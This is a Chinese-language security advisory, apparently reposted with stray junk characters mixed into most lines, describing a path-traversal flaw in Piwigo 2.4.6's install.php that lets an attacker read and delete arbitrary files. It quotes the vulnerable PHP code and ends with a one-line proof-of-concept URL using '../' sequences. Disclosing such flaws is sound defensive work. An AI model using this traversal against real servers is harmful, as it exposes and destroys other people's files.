Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

9 X* ^8 H5 c' X6 N4 o9 g( j' DPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
) ^8 F# j  J+ r6 _114: {
: x: B$ `) u% L8 y! U- y115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
3 |7 Y4 k3 k8 Z3 j. |" k4 j117:   header('Pragma: no-cache');
0 U$ s  a" ~0 R118:   header('Content-Disposition: attachment; filename="database.inc.php"');
% a# r& [1 V  n9 S! a119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
6 e: I4 G' V4 N( c123:   exit();
4 c( U3 s" p* ?: }% d, T# K1 F124: }
7 V& L' Z4 m2 q' [2 `: u% W====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
+ `7 p! O  H. ]( s% [           Apache 2.4.2 (Win32)
           PHP 5.4.4
9 E, {- p1 E4 m3 Q" s4 q+ E           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
1 l% y- v  e6 g4 Q  ^                            @zeroscience

Advisory ID: ZSL-2013-5127
$ V( V2 O* u8 oAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013

: ~0 A* c6 ^; ^3 j& B0 C--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

( U! x5 M) K" m+ X! }4 T# a